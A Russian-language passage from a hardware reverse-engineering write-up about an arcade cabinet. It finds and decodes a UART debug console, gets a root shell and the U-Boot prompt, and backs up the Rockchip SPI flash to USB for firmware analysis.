Изучая неизвестные контакты наподобие описанных в предыдущем разделе, я обычно начинаю с замера напряжения. Это можно сделать при помощи [наших мультиметров](https://www.youtube.com/watch?v=TdUK6RPdIrA). Чтобы вычислить напряжение на этих площадках, мы переключим мультиметр в режим измерения постоянного тока и будем касаться щупом интересующих нас точек, держа чёрный щуп на точке заземления. Эти контакты имеют следующие показания:
| Контакт | Уровень напряжения |
| --- | --- |
| 1 | 0v |
| 2 | 0v |
| 3 | 0v |
| 4 | 0v |
На этих линиях нет напряжения; хоть это нас и разочаровало, но неожиданностью не стало. Если бы передавался активный UART или другой цифровой сигнал, мы бы ожидали увидеть активность в виде колебаний напряжения. Давайте перейдём к другому трёхконтактному разъёму.
| Контакт | Уровень напряжения | Цвет |
| --- | --- | --- |
| 1 | 2.7v | Розовый |
| 2 | 1.4-3.3v | Жёлтый |
| 3 | GND | Чёрный |
При замерах на этом разъёме начинаются резкие колебания на втором контакте, постепенно сводящиеся к 3,3 В; пример того, как выглядят эти колебания, см. в показанном ниже gif:
**Примечание:** при поиске последовательного разъёма вы не всегда сможете увидеть колебания напряжения такой величины. Колебания напрямую коррелируют с уровнем активности сигнала, то есть если трафик небольшой, то колебания будут небольшими или их вообще не будет. Если вы подозреваете, что нашли контакт UART или какой-то цифровой интерфейс, то всегда стоит проверить его логическим анализатором.
Мы видим то, что *может* походить на активность сигнала (на основании колебаний напряжения). Далее нам нужно исследовать этот трафик логическим анализатором. Логические анализаторы помогают нам преобразовать эти колебания напряжения в человекочитаемую последовательность единиц и нулей. Для этого мы соединим логический анализатор с двумя интересующими нас точками при помощи показанного ниже переходника «мама-мама»:
Подключив анализатор, мы запустим Pulseview и выберем его в раскрывающемся меню; в приложении это устройство отображается как «Saleae Logic». Для этого анализатора максимальная частота захвата составляет 24 МГц, и именно её мы будем использовать для анализа. Также нам нужно указать количество сэмплов. Я выбрал значение 500G (500 миллиардов).
Мы запустим захват нажатием на Run, а затем включим питание автомата с этими параметрами.
Успех! Мы перехватили какой-то трафик; прежде чем двигаться дальше в Pulseview, давайте подробнее поговорим о том, как работает UART на уровне сигналов. Мы убедились в том, что по этим линиям передаётся некий трафик; далее нам нужно чуть больше узнать о трафике UART и о том, как его анализировать.
UART
====
UART расшифровывается как Universal Asynchronous Receiver Transmitter. UART — это двухпроводной асинхронный последовательный протокол, позволяющий общаться двум устройствам. Обеим сторонам требуется две линии: Transmit (Tx) и receive (Rx). Во встроенной системе UART может использоваться для множества задач, в том числе для общения с другими процессорами, передачи данных датчиков и доступа к отладке. UART — асинхронный протокол, то есть ему не требуется тактовый сигнал. Вместо этого обе общающиеся стороны настраиваются на общение с определённой скоростью, называемой baud rate. Baud rate измеряется в битах в секунду.
Пакет/передача UART состоит из следующих полей:
| Позиция бита | Имя | Описание |
| --- | --- | --- |
| 0:1 | Начальный бит | Используется для обозначения начала пакета |
| 1:9 | Биты данных (на самом деле им можно задать любое значение, но обычно 8) | Передаваемые/считываемые данные; стоит заметить, что обычно первым передаётся самый младший бит |
| 9:10 | Бит чётности | 1, если биты данных содержат нечётное количество единиц, 0 в противном случае |
| 10:12 | Биты останова | Обозначают, что пакет закончился |
Даже зная представленное выше описание пакета, нам сложно определить содержимое перехвата логики. К счастью, в Pulseview есть декодер UART, которым мы можем воспользоваться.
Декодируем трафик UART
----------------------
С помощью pulseview мы можем попытаться декодировать этот трафик и посмотреть, действительно ли это активный UART. Для подготовки декодера нужно нажать на показанные ниже зелёный и жёлтый символы. Откроется окно выбора декодера, введите в панели поиска `uart` и выберите декодер UART.
Далее нужно настроить декодер UART. Нам нужно выбрать соответствующие каналы и задать все параметры протокола, необходимые этому декодеру. См. настраиваемые параметры ниже:
Сначала выберем линию Rx как содержащий трафик канал; в нашем случае это будет `D1`. Во всех остальных полях оставим стандартные значения: 8-битная ширина данных, отключенный контроль чётности и т. п.
Нам нужно определить и указать самостоятельно один параметр: baud rate. Не забывайте, что стороны должны заранее согласовать baud rate; нет никакого этапа согласования/запуска. Нам нужно определить этот baud rate самостоятельно; в противном случае, декодер не будет знать, как правильно парсить эти сигналы. Для определения baud rate мы можем сделать следующее.
1. Приблизить то, что кажется одним из наименьших импульсов (предположительно, он обозначает передаваемый по проводнику один бит)
2. Выбрать ширину импульса при помощи маркеров данных в Pulseview, нажать показанную ниже кнопку, чтобы включить их:
3. После выбора диапазона малого импульса Pulseview автоматически вычислит частоту и выдаст нам показатель в герцах, как показано на скриншоте ниже.
Герц измеряется в тактах на секунду; вспомним, что baud rate измеряется в битах на секунду. Следовательно, если мы выделили один бит, передаваемый по проводнику, и частоту этого импульса, то у нас есть и baud rate.
Согласно Pulseview, вычисленная частота равна 115,384 кГц, что эквивалентно baud rate в 115385 бит/с. Те, кто знаком с консолями отладки, должны заметить, что это очень близко к [стандартно используемому baud rate](https://lucidar.me/en/serialib/most-used-baud-rates-table/), равному 115200. Так что давайте вставим это значение в декодер и посмотрим, что произойдёт.
На скриншоте ниже мы видим настоящий лог отладки.
У нас есть активный UART и мы наем его baud rate, но теперь нам нужно найти способ взаимодействия с ним. Для этого мы воспользуемся Raspberry Pi. Дополненная схема расположения выводов автомата имеет следующий вид:
Конфигурируем Raspberry Pi
--------------------------
Raspberry Pi имеет множество UART; тот, который мы будем использовать, выделен на изображении ниже:
Чтобы включить этот UART, нам нужно убедиться, что включен блоб дерева соответствующего устройства. Блоб дерева устройства (device tree blob, DTB) необходим для того, чтобы ядро понимало доступную аппаратную периферию. Ядро считывает эту двоичную информацию при запуске и перечисляет указанную периферию. При реверс-инжиниринге встроенной системы на Linux извлечение этой информации может пойти на пользу, потому что её можно декомпилировать и наметить, где в памяти находятся разные устройства.
Все нужные нам блобы дерева устройств в raspberry pi могут находиться в `/boot/overlays/`. Найдите в этой папке двоичные объекты дерева устройств для различных аппаратных конфигураций, некоторые для конкретных HAT (специализированных печатных плат, спроектированных для Pi), подключаемых к Pi, и другие для включения различной периферии ввода-вывода. Мы можем включить соответствующий DTB для периферии UART при помощи инструмента `raspi-config`.
Используем Raspi Config
-----------------------
`raspi-config` — это инструмент пользовательского пространства, позволяющий нам конфигурировать различные аспекты Raspberry Pi, одним из которых является включение различных внешних интерфейсов. Мы воспользуемся `raspi-config` для включения интерфейса UART; начнём с запуска инструмента:
`sudo raspi-config`
При этом появится следующий экран:
Далее мы выберем `Interface Options`, а затем `Serial Port`, как показано на изображении ниже:
После выбора этой опции отобразится два вопроса:
1. Would you like a login shell to be accessible over serial? (Сделать login shell доступной через последовательный порт?)
* No (Нет)
2. Would you like the serial port hardware to be enabled? (Включить оборудование последовательного порта?)
* Yes (Да)
Так мы включили UART на Raspberry Pi. Далее нужно подключить его к автомату. Мы подключим Tx автомата к Rx устройства Pi, а Rx автомата — к Tx устройства Pi:
Инструменты UART
----------------
При помощи интерфейса UART на Raspberry Pi мы можем попытаться подключиться к этому последовательному порту нашей цели. Для взаимодействия с этим последовательным портом мы будем использовать утилиту `screen`. При взаимодействии с UART утилите Screen нужно передать устройство и baud rate; так как мы знаем baud rate из предыдущего раздела, то мы запустим screen следующим образом:
`sudo screen -L -Logfile cabinet-bootup.log /dev/ttyS0 115200`
* `-L -Logfile cabinet-bootup.log` — записываем сессию в файл `cabinet-bootup.log`
* `/dev/ttyS0` — использовать это последовательное устройство
* `115200` — Baud rate
Теперь мы можем включить питание автомата, сконфигурировав UART и запустив screen. При включении питания автомата мы видим следующее:
И наконец мы оказываемся в консоли:
Теперь у нас есть консоль рута; мы можем исследовать файловую систему, посмотреть, что запущено на целевой системе и больше узнать о том, как она устроена. Нашим следующим этапом будет попытка создать образ разделов; давайте начнём с изучения того, как смонтированы эти разделы:
`[root@rk3128:/]# mount
/dev/root on / type squashfs (ro,relatime)
devtmpfs on /dev type devtmpfs (rw,relatime,size=103544k,nr_inodes=25886,mode=755)
proc on /proc type proc (rw,relatime)
devpts on /dev/pts type devpts (rw,relatime,gid=5,mode=620,ptmxmode=000)
tmpfs on /dev/shm type tmpfs (rw,relatime,size=112248k,nr_inodes=28062,mode=777)
tmpfs on /tmp type tmpfs (rw,relatime,size=112248k,nr_inodes=28062)
tmpfs on /tmp type tmpfs (rw,nosuid,nodev,relatime,size=112248k,nr_inodes=28062,mode=755)
sysfs on /sys type sysfs (rw,relatime)
debug on /sys/kernel/debug type debugfs (rw,relatime)
pstore on /sys/fs/pstore type pstore (rw,relatime)
/dev/root on /var type squashfs (ro,relatime)
tmpfs on /tmp type tmpfs (rw,nosuid,nodev,relatime,size=112248k,nr_inodes=28062,mode=755)
/dev/rkflash0p5 on /userdata type ext2 (rw,relatime)
none on /sys/kernel/config type configfs (rw,relatime)
adb on /dev/usb-ffs/adb type functionfs (rw,relatime)`
Наша файловая система рута смонтирована как read-only и использует формат squashfs. Кроме того, смонтирован ещё один раздел с меткой `userdata`. Если мы исследуем доступные блочные устройства, то увидим следующее:
`[root@rk3128:/]# ls -lathr /dev/block/by-name/
lrwxrwxrwx 1 root root 16 Jan 1 00:00 userdata -> ../../rkflash0p5
lrwxrwxrwx 1 root root 16 Jan 1 00:00 uboot -> ../../rkflash0p1
lrwxrwxrwx 1 root root 16 Jan 1 00:00 trust -> ../../rkflash0p2
lrwxrwxrwx 1 root root 16 Jan 1 00:00 rootfs -> ../../rkflash0p4
lrwxrwxrwx 1 root root 16 Jan 1 00:00 boot -> ../../rkflash0p3
drwxr-xr-x 3 root root 380 Jan 1 00:00 ..
drwxr-xr-x 2 root root 140 Jan 1 00:00 .`
Мы видим, что устройство SPI flash предположительно находится в `/dev/rkflash0`. Чтобы получить образ этого блочного устройства, мы можем подключить USB-накопитель к USB-разъёму автомата и использовать утилиту `dd`. После вставки USB-накопителя он регистрируется как `/dev/sda` и мы можем создать на USB-накопитель образ содержимого SPI flash с помощью следующей команды:
`sudo dd if=/dev/rkflash0 of=/dev/sda status=progress`
Если мы подключим USB-накопитель к Pi и исследуем таблицу разделов, то увидим, что образы соответствующих разделов записались на накопитель!
`pi@voidstar:~ $ lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
sda 8:0 1 57.8G 0 disk
├─sda1 8:1 1 4M 0 part
├─sda2 8:2 1 2M 0 part
├─sda3 8:3 1 9M 0 part
├─sda4 8:4 1 80.8M 0 part
└─sda5 8:5 1 8M 0 part`
Теперь у нас есть резервная копия флэш-памяти, и это первый шаг, который нужно выполнить при попытке модификации встроенной системы; прежде мы попробуем что-то менять или перезаписывать разделы, нужно убедиться, что мы можем восстановить их; чтобы сделать это, мы изучим загрузчик. Для начала давайте обратим внимание на следующую строку в начале лога запуска:
`CLK: (uboot. arm: enter 600000 KHz, init 600000 KHz, kernel 0N/A)
apll 600000 KHz
dpll 600000 KHz
cpll 650000 KHz
gpll 594000 KHz
armclk 600000 KHz
aclk_cpu 148500 KHz
hclk_cpu 74250 KHz
pclk_cpu 74250 KHz
aclk_peri 148500 KHz
hclk_peri 74250 KHz
pclk_peri 74250 KHz
Net: Net Initialization Skipped
No ethernet found.
Hit key to stop autoboot('CTRL+C'): 0`
Если зажать `Ctrl-c` в командной строке screen при включении питания автомата, то мы увидим следующее:
`Hit key to stop autoboot('CTRL+C'): 0
=>`
Теперь у нас есть командная строка UBoot; прежде чем мы углубимся в её изучение, давайте поговорим о UBoot и о том, как он работает.
---
UBoot
=====
[UBoot](https://www.denx.de/wiki/U-Boot) — это загрузчик в open-source, часто используемый во встроенных системах. Он имеет поддержку широкого ассортимента архитектур и типов CPU. Однако задача UBoot обычно заключается в загрузке ядра операционной системы или основного приложения встроенной системы.
Также UBoot содержит утилиты, полезные в процессе реверс-инжиниринга; самым примечательным является командная строка UBoot.
Команды UBoot
-------------
Консоль UBoot может содержать большое количество встроенных утилит. Эти утилиты можно использовать в процессе стандартной загрузки (часто с помощью переменных среды) или в командной строке UBoot. Набор команд зависит от того как был собран образ UBoot.
Теперь, когда мы обнаружили консоль UBoot, давайте начнём с того, что посмотрим, какие команды публично доступны нам, выполнив `help command`
`android_print_hdr base bdinfo bidram_dump BMP boot boot_android bootavb
bootd bootm bootp bootrkp bootz charge cmp coninfo cp crc32 ...
=>
? - alias for 'help'
android_print_hdr- print android image header
base - print or set address offset
bdinfo - print Board Infostructure
bidram_dump- Dump bidram layout
BMP - manipulate BMP image data
boot - boot default, i.e., run 'bootcmd'
boot_android- Execute the Android Bootloader flow.
bootavb - Execute the Android avb a/b boot flow.
bootd - boot default, i.e., run 'bootcmd'
bootm - boot application image from memory
bootp - boot image via network using BOOTP/TFTP protocol
bootrkp - Boot Linux Image from rockchip image type
Bootz - boot Linux zImage image from memory
charge - Charge display
CMP - memory compare
coninfo - print console devices and information
cp - memory copy
crc32 - checksum calculation
DHCP - boot image via network using DHCP/TFTP protocol
dm - Driver model low level access
download- enter rockusb/bootrom download mode
dtimg - manipulate dtb/dtbo Android image
dump_atags- Dump the content of the atags
dump_irqs- Dump IRQs
echo - echo args to console
editenv - edit environment variable
env - environment handling commands
exit - exit script
ext2load- load binary file from a Ext2 filesystem
ext2ls - list files in a directory (default /)
ext4load- load binary file from a Ext4 filesystem
ext4ls - list files in a directory (default /)
ext4size- determine a file's size
false - do nothing, unsuccessfully
fastboot- use USB or UDP Fastboot protocol
fatinfo - print information about filesystem
fatload - load binary file from a dos filesystem
fatls - list files in a directory (default /)
fantasize - determine a file's size
fatwrite- write file into a dos filesystem
fdt - flattened device tree utility commands
fstype - Lookup a filesystem type
go - start application at address 'addr'
gpt - GUID Partition Table
help - print command description/usage
iomem - Show iomem data by device compatible(high priority) or node name
lcdputs - print string on video framebuffer
load - load binary file from a filesystem
loop - infinite loop on address range
ls - list files in a directory (default /)
MD - memory display
mii - MII utility commands
mm - memory modify (auto-incrementing address)
mmc - MMC subsystem
mmcinfo - display MMC info
MW - memory write (fill)
NFS - boot image via network using NFS protocol
nm - memory modify (constant address)
part - disk partition related commands
ping - Send ICMP ECHO_REQUEST to network host
printenv- print environment variables
pxe - commands to get and boot from pxe files
rbrom - Perform RESET of the CPU
reboot - Perform RESET of the CPU, alias of 'reset'
reset - Perform RESET of the CPU
rkimgtest- Test if storage media have rockchip image
rknand - rockchip nand flash sub-system
rksfc - rockchip SFC sub-system
rktest - Rockchip board modules test
rockchip_show_bmp- load and display BMP from resource partition
rockchip_show_logo- load and display log from resource partition
rocks - Use the rockusb Protocol
run - run commands in an environment variable
save - save file to a filesystem
setcurs - set cursor position within screen
setenv - set environment variables
showvar - print local hushshell variables
size - determine a file's size
source - run script from memory
sysboot - command to get and boot from syslinux files
sysmem_dump- Dump system layout
sysmem_search- Search a available system region
test - minimal test like /bin/sh
TFTP - download image via network using TFTP protocol
true - do nothing, successfully
ums - Use the UMS [USB Mass Storage]
USB - USB sub-system
usbboot - boot from USB device
version - print monitor, compiler, and linker version
=>`
Прежде чем тратить время на изучение каждой команды, давайте вспомним нашу основную цель — возможность считывания и записи раздела файловой системы рута из загрузчика на случай, если нам понадобится в дальнейшем восстановить прошивку этого автомата. В глаза первым делом бросаются следующие команды, потому что они касаются считывания и записи в память:
`download- enter rockusb/bootrom download mode
dtimg - manipulate dtb/dtbo Android image
dump_atags- Dump the content of the atags
ext2load- load binary file from a Ext2 filesystem
ext2ls - list files in a directory (default /)
ext4load- load binary file from a Ext4 filesystem
ext4ls - list files in a directory (default /)
ext4size- determine a file's size
fastboot- use USB or UDP Fastboot protocol
fatinfo - print information about filesystem
fatload - load binary file from a dos filesystem
fatls - list files in a directory (default /)
fantasize - determine a file's size
fatwrite- write file into a dos filesystem
mm - memory modify (auto-incrementing address)
rknand - rockchip nand flash sub-system
rksfc - rockchip SFC sub-system
ums - Use the UMS [USB Mass Storage]
USB - USB sub-system`
Далее мы можем просмотреть переменные среды, с которыми был сконфигурирован этот загрузчик, выполнив команду `printenv`. Это даст нам больше контекста о том, **как** загружается эта платформа, какие адреса памяти используются и какие другие интерфейсы могут быть доступны.
Переменные среды UBoot
----------------------
При сборке или конфигурировании образа UBoot для устройства могут быть настроены различные переменные среды. Эти переменные управляют тем, какие операции выполняются при запуске. Такие переменные могут храниться различным образом. Иногда они жёстко прописаны в самом двоичном файле; также они могут находиться на разделе флэш-памяти, что позволяет пользователям изменять их через командную строку UBoot.
Мы можем исследовать переменные среды при помощи команды `printenv`:
`=> printenv
arch=arm
baudrate=115200
board=evb_rk3128
board_name=evb_rk3128
boot_a_script=load ${devtype} ${devnum}:${distro_bootpart} ${scriptaddr} ${prefix}${script}; source ${scriptaddr}
boot_extlinux=sysboot ${devtype} ${devnum}:${distro_bootpart} any ${scriptaddr} ${prefix}extlinux/extlinux.conf
boot_net_usb_start=usb start
boot_prefixes=/ /boot/
boot_script_dhcp=boot.scr.uimg
boot_scripts=boot.scr.uimg boot.scr
boot_targets=mmc1 mmc0 rknand0 usb0 pxe dhcp
bootargs=storagemedia=nand androidboot.storagemedia=nand androidboot.mode=normal
bootcmd=boot_android ${devtype} ${devnum};bootrkp;run distro_bootcmd;
bootcmd_dhcp=run boot_net_usb_start; if dhcp ${scriptaddr} ${boot_script_dhcp}; then source ${scriptaddr}; fi;
bootcmd_mmc0=setenv devnum 0; run mmc_boot
bootcmd_mmc1=setenv devnum 1; run mmc_boot
bootcmd_pxe=run boot_net_usb_start; dhcp; if pxe get; then pxe boot; fi
bootcmd_rknand0=setenv devnum 0; run rknand_boot
bootcmd_usb0=setenv devnum 0; run usb_boot
bootdelay=0
cpu=armv7
devnum=0
devtype=spinand
distro_bootcmd=for target in ${boot_targets}; do run bootcmd_${target}; done
ethaddr=d2:79:07:fc:f7:89
fdt_addr1_r=0x61700000
fdt_addr_r=0x68300000
kernel_addr1_r=0x62008000
kernel_addr_r=0x62008000
mmc_boot=if mmc dev ${devnum}; then setenv devtype mmc; run scan_dev_for_boot_part; fi
pxefile_addr1_r=0x60600000
pxefile_addr_r=0x60600000
ramdisk_addr1_r=0x63000000
ramdisk_addr_r=0x6a200000
rkimg_bootdev=if mmc dev 1 && rkimgtest mmc 1; then setenv devtype mmc; setenv devnum 1; echo Boot from SDcard;elif mmc dev 0; then setenv devtype mmc; setenv devnum 0;elif mtd_blk dev 0; then setenv devtype mtd; setenv devnum 0;elif mtd_blk dev 1; then setenv devtype mtd; setenv devnum 1;elif mtd_blk dev 2; then setenv devtype mtd; setenv devnum 2;elif rknand dev 0; then setenv devtype rknand; setenv devnum 0;elif rksfc dev 0; then setenv devtype spinand; setenv devnum 0;elif rksfc dev 1; then setenv devtype spinor; setenv devnum 1;fi;
scan_dev_for_boot=echo Scanning ${devtype} ${devnum}:${distro_bootpart}...; for prefix in ${boot_prefixes}; do run scan_dev_for_extlinux; run scan_dev_for_scripts; done;
scan_dev_for_boot_part=part list ${devtype} ${devnum} -bootable devplist; env exists devplist || setenv devplist 1; for distro_bootpart in ${devplist}; do if fstype ${devtype} ${devnum}:${distro_bootpart} bootfstype; then run scan_dev_for_boot; fi; done
scan_dev_for_extlinux=if test -e ${devtype} ${devnum}:${distro_bootpart} ${prefix}extlinux/extlinux.conf; then echo Found ${prefix}extlinux/extlinux.conf; run boot_extlinux; echo SCRIPT FAILED: continuing...; fi
scan_dev_for_scripts=for script in ${boot_scripts}; do if test -e ${devtype} ${devnum}:${distro_bootpart} ${prefix}${script}; then echo Found U-Boot script ${prefix}${script}; run boot_a_script; echo SCRIPT FAILED: continuing...; fi; done
scriptaddr=0x60500000
scriptaddr1=0x60500000
serial#=c3d9b8674f4b94f6
soc=rockchip
stderr=serial,vidconsole
stdout=serial,vidconsole
usb_boot=usb start; if usb dev ${devnum}; then setenv devtype usb; run scan_dev_for_boot_part; fi
vendor=rockchip
Environment size: 3477/32764 bytes
=>`
Есть несколько интересных переменных, которые я хочу выделить в таблицу:
| Переменная | Смысл |
| --- | --- |
| `bootcmd` | Эта команда используется для задания стандартного поведения при запуске |
| `board=evb_rk3128` | Эта команда определяет используемый CPU / плату разработки |
| `devtype=spinand` | Эта переменная определяет используемое флэш-устройство |
Если на этом этапе мы сопоставим это с информацией, полученной при анализе оборудования, то получим согласованные результаты. После анализа оборудования мы предположили, что основным накопителем является SPI flash, и это предположение подтверждается переменными среды UBoot, а также доступными командами.
Давайте начнём с исследования команд `rksfc`; [гугление](https://gitlab.collabora.com/nicolas/rockchip-uboot/blob/d5f538dc02e53c7267fcd4a914104071fca889b5/doc/README.rksfc) подсказывает нам, что это инструмент интерфейса RockChip SPI SFC (serial flash controller). Эта команда имеет следующие подкоманды:
`=> rksfc
rksfc - rockchip sfc sub-system
Usage:
rksfc scan - scan Sfc devices
rksfc info - show all available Sfc devices
rksfc device [dev] - show or set current Sfc device
dev 0 - spinand
dev 1 - spinor
rksfc part [dev] - print partition table of one or all Sfc devices
rksfc read addr blk# cnt - read `cnt' blocks starting at block
`blk#' to memory address `addr'
rksfc write addr blk# cnt - write `cnt' blocks starting at block
`blk#' from memory address `addr'`
Получить информацию о SPI flash можно при помощи следующих команд:
`=> rksfc scan
=> rksfc info
Device 0: Vendor: 0x0308 Rev: V1.00 Prod: rkflash-SpiNand
Type: Hard Disk
Capacity: 107.7 MB = 0.1 GB (220672 x 512)
=> rksfc device 0
Device 0: Vendor: 0x0308 Rev: V1.00 Prod: rkflash-SpiNand
Type: Hard Disk
Capacity: 107.7 MB = 0.1 GB (220672 x 512)
... is now current device
=> rksfc part 0
Partition Map for SPINAND device 0 -- Partition Type: EFI
Part Start LBA End LBA Name
Attributes
Type GUID
Partition GUID
1 0x00002000 0x00003fff "uboot"
attrs: 0x0000000000000000
type: ea450000-0000-424f-8000-0cd500004c0a
guid: 325b0000-0000-4d21-8000-6e10000051c5
2 0x00004000 0x00004fff "trust"
attrs: 0x0000000000000000
type: b44a0000-0000-4121-8000-4e1600002902
guid: 62500000-0000-4f7f-8000-4a7800006ca1
3 0x00005000 0x000097ff "boot"
attrs: 0x0000000000000000
type: 6c1e0000-0000-4833-8000-5d07000065c4
guid: 442c0000-0000-4c4c-8000-2ed400005ecb
4 0x00009800 0x00031dff "rootfs"
attrs: 0x0000000000000000
type: 9b050000-0000-4e44-8000-5f3000007157
guid: 614e0000-0000-4b53-8000-1d28000054a9
5 0x00031e00 0x00035dde "userdata"
attrs: 0x0000000000000000
type: c8050000-0000-4b18-8000-3b1a000041c3
guid: 40780000-0000-493e-8000-688900001525
=>`
При помощи этих команд мы можем узнать больше о SPI flash. Мы видим, что его размер блока равен 512 и что чип суммарно содержит 220672 (0x35E00) блока, разбитые на пять разделов:
* uboot — вероятно, содержит образ UBoot / загрузчик первого этапа
* trust — образ Trusted execution environment
* boot — образ ядра / ramdisk
* rootfs — самый большой раздел, файловая система рута ядра
* user data — пользовательские данные, скорее всего, используется для записи рекордов, пользовательских настроек и пр.
Обратите внимание, что эти данные совпадают с тем, что мы видели ранее в командной строке консоли рута. Теперь мы знаем, как разбита флэш-память, и какие данные могут быть доступны, но можно ли считывать/записывать эти данные без припаивания дополнительных линий к плате? Изучив команду `usb`, мы увидим следующее:
`=> usb
usb - USB sub-system
Usage:
usb start - start (scan) USB controller
usb reset - reset (rescan) USB controller
usb stop [f] - stop USB [f]=force stop
usb tree - show USB device tree
usb info [dev] - show available USB devices
usb test [dev] [port] [mode] - set USB 2.0 test mode
(specify port 0 to indicate the device's upstream port)
Available modes: J, K, S[E0_NAK], P[acket], F[orce_Enable]
usb storage - show details of USB storage devices
usb dev [dev] - show or set current USB storage device
usb part [dev] - print partition table of one or all USB storage devices
usb read addr blk# cnt - read `cnt' blocks starting at block `blk#'
to memory address `addr'
usb write addr blk# cnt - write `cnt' blocks starting at block `blk#'
from memory address `addr'`
Если мы вставим устройство в USB-разъём на боковой панели автомата и выполним `USB start`, а затем `USB info`, то получим следующий результат:
`=> usb start
starting USB...
Bus usb@10180000: Bus usb@101c0000: USB EHCI 1.00
Bus usb@101e0000: USB OHCI 1.0
scanning bus usb@10180000 for devices... 1 USB Device(s) found
scanning bus usb@101c0000 for devices... RKPARM: Invalid parameter part table
2 USB Device(s) found
scanning bus usb@101e0000 for devices... 1 USB Device(s) found
scanning usb for storage devices... 1 Storage Device(s) found
=> usb info
1: Hub, USB Revision 1.10
- U-Boot Root Hub
- Class: Hub
- PacketSize: 8 Configurations: 1
- Vendor: 0x0000 Product 0x0000 Version 0.0
Configuration: 1
- Interfaces: 1 Self Powered 0mA
Interface: 0
- Alternate Setting 0, Endpoints: 1
- Class Hub
- Endpoint 1 In Interrupt MaxPacket 2 Interval 255ms
1: Hub, USB Revision 2.0
- u-boot EHCI Host Controller
- Class: Hub
- PacketSize: 64 Configurations: 1
- Vendor: 0x0000 Product 0x0000 Version 1.0
Configuration: 1
- Interfaces: 1 Self Powered 0mA
Interface: 0
- Alternate Setting 0, Endpoints: 1
- Class Hub
- Endpoint 1 In Interrupt MaxPacket 8 Interval 255ms
2: Mass Storage, USB Revision 2.10
- USB DISK 3.0 0719146D1CBF9257
- Class: (from Interface) Mass Storage
- PacketSize: 64 Configurations: 1
- Vendor: 0x13fe Product 0x6300 Version 1.0
Configuration: 1
- Interfaces: 1 Bus Powered 498mA
Interface: 0
- Alternate Setting 0, Endpoints: 2
- Class Mass Storage, Transp. SCSI, Bulk only
- Endpoint 1 In Bulk MaxPacket 512
- Endpoint 2 Out Bulk MaxPacket 512
1: Hub, USB Revision 1.10
- U-Boot Root Hub
- Class: Hub
- PacketSize: 8 Configurations: 1
- Vendor: 0x0000 Product 0x0000 Version 0.0
Configuration: 1
- Interfaces: 1 Self Powered 0mA
Interface: 0
- Alternate Setting 0, Endpoints: 1
- Class Hub
- Endpoint 1 In Interrupt MaxPacket 2 Interval 255ms`
Превосходно, мы видим, что стек USB успешно регистрируется и распознаёт наш накопитель mass storage device.
Прежде чем двигаться дальше, давайте перечислим то, что мы знаем о нашей среде UBoot:
1. Изучение переменных среды дало нам используемые адреса в ОЗУ
2. При помощи утилиты `rksfc read` мы можем считывать секторы SPI flash в ОЗУ
3. При помощи команд USB мы можем регистрировать USB-устройство и выполнять на него запись
Можно считать SPI flash в ОЗУ, подключить USB-устройство, а затем записать данные с SPI flash data на USB-устройство при помощи команды `USB write`. Если это сработает, то мы сможем и восстанавливать образы, выполнив эти операции в обратном порядке: считывать данные с USB-накопителя и записывать их на флэш-память с помощью `rksfc write`. Давайте начнём с проверки записи.
Сначала мы можем попробовать считать всю SPI flash в ОЗУ при помощи следующей команды. В качестве адреса назначения можно попробовать адрес, сохранённый в `$ramdisk_addr_r`, то есть `0x6a200000`:
`=> rksfc read $ramdisk_addr_r 0 0x35E00
spinand read: device 0 block # 0, count 220672 ... undefined instruction
pc : ce695528 lr : 1fadca4d
sp : 6be17bd8 ip : 00000020 fp : 60093204
r10: 00004254 r9 : 6be1bdf8 r8 : ad758c77
r7 : ebaa79cb r6 : b052b720 r5 : 36395b84 r4 : f3a911be
r3 : 780fb750 r2 : 00000000 r1 : 600a62fc r0 : 200a226c
Flags: nZcv IRQs on FIQs off Mode SVC_32
Call trace:
PC: [< ce695528 >]
LR: [< 1fadca4d >]
Stack:
[< ce695528 >]
Copy info from "Call trace..." to a file(eg. dump.txt), and run
command in your U-Boot project: ./scripts/stacktrace.sh dump.txt
Resetting CPU ...
### ERROR ### Please RESET the board ###`
Не сработало; каким-то образом мы вызвали undefined instruction exception. Скорее всего, мы поломали что-то, что используется UBoot; давайте посмотрим, что получится, если попробовать другой адрес ниже в памяти:
`=> rksfc read $scriptaddr 0 0x35E00
spinand read: device 0 block # 0, count 220672 ... 220672 blocks read: OK`
Переход на более низкий адрес в ОЗУ позволил считать всё полностью, ничего не сломав; давайте посмотрим, сможем ли мы теперь записать эти данные на USB-накопитель:
`usb write addr blk# cnt - write `cnt' blocks starting at block `blk#'
from memory address `addr'
=> usb write $scriptaddr 0 0x35E00
usb write: device 0 block # 0, count 220672 ... 220672 blocks written: OK
=>`
Давайте теперь посмотрим на содержимое этого накопителя, вставив его в Raspberry Pi:
`pi@voidstar:~ $ lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
sda 8:0 1 57.8G 0 disk
├─sda1 8:1 1 4M 0 part
├─sda2 8:2 1 2M 0 part
├─sda3 8:3 1 9M 0 part
├─sda4 8:4 1 80.8M 0 part
└─sda5 8:5 1 8M 0 part`
Теперь мы видим, что таблица разделов в USB-накопителе совпадает с результатами, выведенными командой `rksfc part 0`. Далее мы используем утилиту `dd`, чтобы извлечь отдельные разделы для анализа.
`pi@voidstar:~/marvel-cab/parts $ sudo dd if=/dev/sda1 of=part1.bin
4194304 bytes (4.2 MB, 4.0 MiB) copied, 0.18225 s, 23.0 MB/s
pi@voidstar:~/marvel-cab/parts $ sudo dd if=/dev/sda2 of=part2.bin
2097152 bytes (2.1 MB, 2.0 MiB) copied, 0.109297 s, 19.2 MB/s
pi@voidstar:~/marvel-cab/parts $ sudo dd if=/dev/sda3 of=part3.bin
9437184 bytes (9.4 MB, 9.0 MiB) copied, 0.386968 s, 24.4 MB/s
pi@voidstar:~/marvel-cab/parts $ sudo dd if=/dev/sda4 of=part4.bin
84672512 bytes (85 MB, 81 MiB) copied, 2.96481 s, 28.6 MB/s
pi@voidstar:~/marvel-cab/parts $ sudo dd if=/dev/sda5 of=part5.bin
8371712 bytes (8.4 MB, 8.0 MiB) copied, 0.314125 s, 26.7 MB/s
pi@voidstar:~/marvel-cab/parts $ file *
part1.bin: data
part2.bin: data
part3.bin: Android bootimg, kernel (0x10008000), second stage (0x10f00000), page size: 2048
part4.bin: Squashfs filesystem, little endian, version 4.0, xz compressed, 71663599 bytes, 1185 inodes, blocksize: 131072 bytes, created: Mon May 31 09:06:53 2021
part5.bin: Linux rev 1.0 ext2 filesystem data (mounted or unclean), UUID=42185cbc-b698-4af6-8a47-e444e5635787, volume name "userdata" (large files)`
